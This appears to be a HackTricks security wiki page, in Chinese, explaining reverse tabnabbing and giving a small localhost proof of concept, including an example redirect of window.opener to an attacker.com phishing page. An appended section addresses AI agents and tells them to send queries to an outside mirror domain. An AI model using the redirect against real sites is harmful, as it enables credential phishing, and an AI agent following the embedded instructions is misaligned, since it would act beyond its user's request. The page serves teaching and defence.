# Reverse Tab Nabbing

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 描述

在一个**攻击者**可以**控制**一个将被受害者点击的带有属性\*\*`target="_blank" rel="opener"`**的**`<a`**标签的**`href`**参数的情况下，攻击者可以将这个**链接**指向一个由他控制的网站（一个**恶意**的**网站\*\*）。然后，一旦**受害者点击**链接并访问攻击者的网站，这个**恶意**的**网站**将能够通过javascript对象\*\*`window.opener`**来**控制\*\*\*\*原始**的**页面\*\*。\
如果页面没有\*\*`rel="opener"`\*\*但包含`target="_blank"`，并且也没有`rel="noopener"`，它也可能存在漏洞。

滥用这种行为的常见方式是通过`window.opener.location = https://attacker.com/victim.html`来**更改原始网页的位置**，将其指向攻击者控制的看起来**像原始网站**的网站，以便**模仿**原始网站的**登录表单**并向用户索要凭据。

然而，请注意，由于**攻击者现在可以控制原始网站的窗口对象**，他可以以其他方式滥用它来执行**更隐蔽的攻击**（也许修改javascript事件以将信息传输到由他控制的服务器？）

## 概述

### 带有后向链接

当未使用预防属性时，父页面和子页面之间的链接：

![https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png)

### 没有后向链接

当使用预防属性时，父页面和子页面之间的链接：

![https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png)

### 示例 <a href="#examples" id="examples"></a>

在一个文件夹中创建以下页面，并使用`python3 -m http.server`运行一个web服务器\
然后，**访问**`http://127.0.0.1:8000/`vulnerable.html，**点击**链接，注意**原始网站URL**的**变化**。

{% code title="vulnerable.html" %}

```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```

{% endcode %}

{% code title="malicious.html" %}

```markup
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```

{% endcode %}

{% code title="malicious\_redir.html" %}

```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```

{% endcode %}

### 可访问的属性 <a href="#accessible-properties" id="accessible-properties"></a>

在发生**跨域**访问（跨不同域）的情况下，恶意站点可以访问由**opener** JavaScript对象引用指向的**window** JavaScript类实例的属性仅限于以下内容：

* **`opener.closed`**：通过访问此属性，可以确定窗口是否已关闭，并返回一个布尔值。
* **`opener.frames`**：此属性提供对当前窗口内所有iframe元素的访问权限。
* **`opener.length`**：此属性返回当前窗口中存在的iframe元素的数量。
* **`opener.opener`**：通过此属性可以获取对打开当前窗口的窗口的引用。
* **`opener.parent`**：此属性返回当前窗口的父窗口。
* **`opener.self`**：此属性提供对当前窗口本身的访问权限。
* **`opener.top`**：此属性返回最顶层的浏览器窗口。

然而，在域相同的情况下，恶意站点可以访问由[**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript对象引用公开的所有属性。

## 预防措施

预防信息已记录在[HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing)中。

### 参考

* <https://owasp.org/www-community/attacks/Reverse_Tabnabbing>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们独家[NFTs](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/reverse-tab-nabbing.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
